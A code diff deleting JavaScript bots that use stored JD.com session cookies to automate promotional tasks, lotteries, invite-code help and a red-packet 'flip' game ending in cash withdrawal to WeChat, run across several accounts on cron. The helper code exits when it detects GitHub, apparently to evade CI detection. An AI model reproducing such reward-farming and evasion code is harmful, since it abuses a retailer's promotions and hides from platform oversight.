API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if(data.data.bizCode === 1){ - console.log(`任务领取成功`); - message += `任务领取成功\n` - } - else if (data.data.bizCode === 0) { - if(data.data.result.taskType===6){ - console.log(`助力好友:${data.data.result.itemId}成功!`) - message += `助力好友:${data.data.result.itemId}成功!\n` - }else { - console.log(`任务完成成功`); - } - - } else { - console.log(`${data.data.bizMsg}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -// 抽奖 -function jdapple_getLottery() { - return new Promise(resolve => { - let body = { "appId":"1EFRTxw"} - $.post(taskPostUrl("interact_template_getLotteryResult", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}`); - message+= `抽奖成功,获得:${JSON.stringify(data.data.result.userAwardsCacheDto)}\n` - } else { - console.log(JSON.stringify(data)) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function jdapple_getTaskDetail(get=1) { - return new Promise(resolve => { - $.post(taskPostUrl("healthyDay_getHomeData", {"appId":"1EFRTxw","taskToken":""}, ), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.taskVos = data.data.result.taskVos;//任务列表 - $.userInfo = data.data.result.userInfo; - if(get) - $.taskVos.map(item => { - if (item.taskType === 14) { - console.log(`\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n`) - message += `\n您的${$.name}好友助力邀请码:${item.assistTaskDetailVo.taskToken}\n` - } - }) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function readShareCode() { - console.log(`开始`) - return new Promise(async resolve => { - $.get({url: `http://api.turinglabs.net/api/v1/jd/jdapple/read/${randomCount}/`}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - // await $.wait(2000); - // resolve() - }) -} -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - $.newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - $.newShareCodes = inviteCodes[tempIndex].split('@'); - } - const readShareCodeRes = null //await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - const shareCodes = [] //$.isNode() ? require('./jdSplitShareCodes.js') : ''; - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} - -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/", - 'Content-Type': 'application/x-www-form-urlencoded', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_big_winner.js b/activity/jd_big_winner.js deleted file mode 100644 index 8153ba5..0000000 --- a/activity/jd_big_winner.js +++ /dev/null @@ -1,324 +0,0 @@ -/* -省钱大赢家之翻翻乐 -一天可翻多次,但有上限 -运气好每次可得0.3元以上的微信现金(需京东账号绑定到微信) -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#省钱大赢家之翻翻乐 -20 * * * * jd_big_winner.js, tag=省钱大赢家之翻翻乐, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -=================================Loon=================================== -[Script] -cron "20 * * * *" script-path=jd_big_winner.js,tag=省钱大赢家之翻翻乐 - -===================================Surge================================ -省钱大赢家之翻翻乐 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_big_winner.js - -====================================小火箭============================= -省钱大赢家之翻翻乐 = type=cron,script-path=jd_big_winner.js, cronexpr="20 * * * *", timeout=3600, enable=true - */ -const $ = new Env('省钱大赢家之翻翻乐'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', linkId = 'PFbUR7wtwUcQ860Sn8WRfw', fflLinkId = 'YhCkrVusBVa_O2K-7xE6hA'; -const money = $.isNode() ? (process.env.BIGWINNER_MONEY ? process.env.BIGWINNER_MONEY * 1 : 0.3) : ($.getdata("BIGWINNER_MONEY") ? $.getdata("BIGWINNER_MONEY") * 1 : 0.3) -const JD_API_HOST = 'https://api.m.jd.com/api'; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -const len = cookiesArr.length; - -!(async () => { - $.redPacketId = [] - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - for (let i = 0; i < len; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await main() - } - } - if (message) { - $.msg($.name, '', message); - if ($.isNode()) await notify.sendNotify($.name, message); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function main() { - try { - $.canApCashWithDraw = false; - $.changeReward = true; - $.canOpenRed = true; - await gambleHomePage(); - if (!$.time) { - console.log(`开始进行翻翻乐拿红包\n`) - await gambleOpenReward();//打开红包 - if ($.canOpenRed) { - let num = 0; - do { - await openRedReward(); - await $.wait(500); - num++ - } while (!$.canApCashWithDraw && $.changeReward && num < 20) - if ($.canApCashWithDraw) { - //提现 - await openRedReward('gambleObtainReward', $.rewardData.rewardType); - await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); - } - } - } - } catch (e) { - $.logErr(e) - } -} - - -//查询剩余多长时间可进行翻翻乐 -function gambleHomePage() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - 'Cookie': cookie - } - const body = {'linkId': fflLinkId}; - const options = { - url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=3.5.0`, - headers, - } - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data.data.leftTime === 0) { - $.time = data.data.leftTime; - } else { - $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); - } - console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); - } else { - console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//打开翻翻乐红包 -function gambleOpenReward() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = {'linkId': fflLinkId}; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=gambleOpenReward&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); - } else { - console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); - if (data.code === 20007) { - $.canOpenRed = false; - console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//翻倍红包 -function openRedReward(functionId = 'gambleChangeReward', type) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = {'linkId': fflLinkId}; - if (type) body['rewardType'] = type; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=${functionId}&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`翻翻乐结果:${data}\n`); - data = JSON.parse(data); - if (data['code'] === 0) { - $.rewardData = data.data; - if (data.data.rewardState === 1) { - if (data.data.rewardValue >= money) { - //已翻倍到0.3元,可以提现了 - $.canApCashWithDraw = true; - $.changeReward = false; - // message += `${data.data.rewardValue}元现金\n` - } - if (data.data.rewardType === 1) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); - } else if (data.data.rewardType === 2) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); - // $.canApCashWithDraw = true; - } else { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } else if (data.data.rewardState === 3) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); - $.changeReward = false; - } else { - if (type) { - console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) - message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${new Date().getHours()}点:${data.data.amount}现金\n`; - } else { - console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } - } else { - $.canApCashWithDraw = true; - $.changeReward = false; - console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//翻翻乐提现 -function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://openredpacket-jdlite.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'jdltapp;iPhone;3.3.2;14.4.1;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', - 'Referer': `https://618redpacket.jd.com/withdraw?activityId=${linkId}&channel=wjicon&lng=&lat=&sid=&un_area=`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { - "businessSource": "GAMBLE", - "base": { - id, - "business": "redEnvelopeDouble", - poolBaseId, - prizeGroupId, - prizeBaseId, - prizeType - }, - "linkId": fflLinkId - }; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data['data']['status'] === '310') { - console.log(`翻翻乐提现 成功🎉,详情:${JSON.stringify(data)}\n`); - message += `提现至微信钱包成功🎉\n\n`; - } else { - console.log(`翻翻乐提现 失败,详情:${JSON.stringify(data)}\n`); - message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; - } - } else { - console.log(`翻翻乐提现 失败:${JSON.stringify(data)}\n`); - message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -// prettier-ignore -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 